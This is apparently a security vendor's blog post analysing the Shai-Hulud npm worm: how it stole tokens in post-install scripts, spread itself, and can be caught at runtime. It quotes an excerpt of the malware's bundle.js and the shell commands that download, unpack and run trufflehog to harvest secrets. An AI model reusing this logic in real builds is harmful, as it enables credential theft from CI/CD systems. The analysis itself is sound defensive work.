The September 2025 Shai-Hulud campaign marks another attack in the npm ecosystem. Unlike prior targeted incidents, this attack combines worm-like propagation and supply chain compromise, making it a very disruptive npm incident.

The Miggo Security team has analyzed the event through the lens of runtime security — leveraging runtime detection capabilities go beyond traditional SBOM scans and static checks.

What Happened

On September 15, 2025, attackers published malicious versions of multiple widely used npm packages.

These versions contained a post-install script that:

  1. Exfiltrated npm tokens and secrets into attacker-controlled GitHub repositories named Shai-Hulud.
  2. Propagated the malware by publishing malicious versions of any packages it could access with those stolen tokens.
  3. Introduced worm-like behavior, causing the malware to spread exponentially across the npm ecosystem.

The result: a multi-wave supply chain compromise where both hundreds of open-source maintainers and downstream enterprises were exposed.

Who Was Affected

The blast radius is large, but primarily two groups are at risk:

  • Users who installed a library that depends on an affected library
  • CI/CD environments that run builds that rely on an affected library

Importantly: production applications were not directly affected. Instead, the focus was on build-time environments, which often hold high-value secrets.

How to Check if Your Organization has been Compromised

1. Static Detection in Code

You can scan your codebase for dependencies on the affected packages. But this has serious blind spots:

  • Breadth of impact: Many libraries were touched by the attack.
  • Dependency complexity:
    • Multi-hop chains: a library may depend on another library that depends on an affected package.
    • Loose versioning: e.g., "affected-library": "^<not-affected-version>" may still resolve to a malicious version.

2. Static Detection in Scanned Images

Another approach is examining the final build artifacts—for example, searching the image filesystem for the malicious bundle.js.

But it lacks:

  • Multi-stage builds may strip away the malicious files.
  • Artifacts aren’t the only scope of the attack—the malicious behavior only appears at runtime.

When Runtime Matters

Since static detection only works for known packages, organizations must also detect malicious runtime activity that signals active exploitation.

You can use a solution like Miggo Security’s Application, Detection and Response platform (ADR), to inspect the builder behavior during execution. The added ADR layer will enable you to not only inspect malicious actions, but to connect the malicious actions to the application’s code.

In this case, when Shai-Hulud malware executes, one of its malicious actions is installing trufflehog. This tool is then used to exfiltrate secrets from the filesystem and subsequently enables self-propagation.

Below is the evidence that indicates that the CI/CD Builder has been affected in the Shai-Hulud campaign:

/usr/local/bin/node (pid: 50954) runs:

// ...
*/bundle.js: install
*/bundle.js: extractBinary
node:child_process: execSync
// ...

stacktrace

tar -xzf "/*/trufflehog_3.90.6_linux_amd64.tar.gz" -C "/*" trufflehog
chmod +x /*/trufflehog
rm /*/trufflehog_3.90.6_linux_amd64.tar.gz

related commands

async extractBinary(t) {
	try {
		const r = "windows" === this.systemInfo.platform ? "trufflehog.exe" : "trufflehog",
			n = `tar -xzf "${t}" -C "${process.cwd()}" ${r}`;
		(0, te.execSync)(n, {
			stdio: "pipe"
		}), "windows" !== this.systemInfo.platform && (0, te.execSync)(`chmod +x "${this.binaryPath}"`, {
			stdio: "pipe"
		});
		const F = "windows" === this.systemInfo.platform ? `del "${t}"` : `rm "${t}"`;
		(0, te.execSync)(F, {
			stdio: "pipe"
		}), this.installedStatus = !0
	} catch (t) {
		throw new Error(`Failed to extract binary: ${t}`)
	}
}
async install() {
	try {
		if (this.installedStatus) return !0;
		const t = await this.getLatestRelease(),
			r = oe.join(process.cwd(), t.fileName);
		return await this.downloadFile(t.downloadUrl, r), await this.extractBinary(r), !0
	} catch (t) {
		return console.error("TruffleHog installation failed:", t), !1
	}
}

actual source code of the malware (bundle.js)

The Takeaway

The Shai-Hulud incident reinforces a hard truth: supply chain security requires runtime protection.

  • Static scanning helps identify known vulnerabilities.
  • Runtime detection catches exploited but unclassified (zero-day) threats.

This runtime-first approach ensures security teams can spot and stop malware when no CVE or static signature yet exists.

Miggo Security provides a layered defense, combining the breadth of static analysis with the depth of runtime behavioral detection. That way, when the next Shai-Hulud emerges, your CI/CD pipelines and production apps stay resilient.

Be in touch to learn more.

<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>
Key takeaways

The September 2025 Shai-Hulud campaign used stolen npm tokens to self-propagate across the ecosystem, targeting build-time environments rather than production. The attack exploited post-install scripts to exfiltrate secrets and publish malicious package versions exponentially. Static scanning misses multi-hop chains, loose versioning, and zero-day runtime behavior. Miggo Security’s runtime detection observes malicious actions like trufflehog installation during execution, connecting behavior to code for defense against emerging supply chain threats.

Frequently Asked Questions

What made the Shai-Hulud attack different from previous npm supply chain incidents?

Shai-Hulud combined worm-like propagation with supply chain compromise, unlike prior targeted incidents. The malware used stolen npm tokens to publish malicious versions of packages it could access, causing exponential spread across the npm ecosystem. This self-propagating behavior made it exceptionally disruptive compared to earlier attacks.

Were production applications directly compromised by Shai-Hulud?

No, production applications were not directly affected. The attack focused on build-time environments, specifically targeting users who installed affected libraries and CI/CD environments running builds with compromised dependencies. These build environments often hold high-value secrets, making them the primary targets rather than production systems.

Why is static scanning insufficient for detecting attacks like Shai-Hulud?

Static scanning misses multi-hop dependency chains and cannot account for loose versioning that resolves to malicious versions. Multi-stage builds strip away malicious files from final artifacts. Most critically, static detection only works for known packages and cannot catch zero-day threats or malicious runtime activity during active exploitation.

What runtime behavior indicates a CI/CD environment was compromised by Shai-Hulud?

The malware installs trufflehog during execution, then uses it to exfiltrate secrets from the filesystem and enable self-propagation. Runtime detection platforms can observe this malicious action and connect it to the application’s code. This behavior occurs during the post-install script execution within the builder environment.

How does Miggo Security’s approach address supply chain attacks beyond static analysis?

Miggo Security’s Application Detection and Response platform inspects builder behavior during execution and connects malicious actions to application code. This runtime-first approach catches exploited but unclassified threats when no CVE or static signature exists. The platform combines static analysis breadth with runtime behavioral detection depth for layered defense.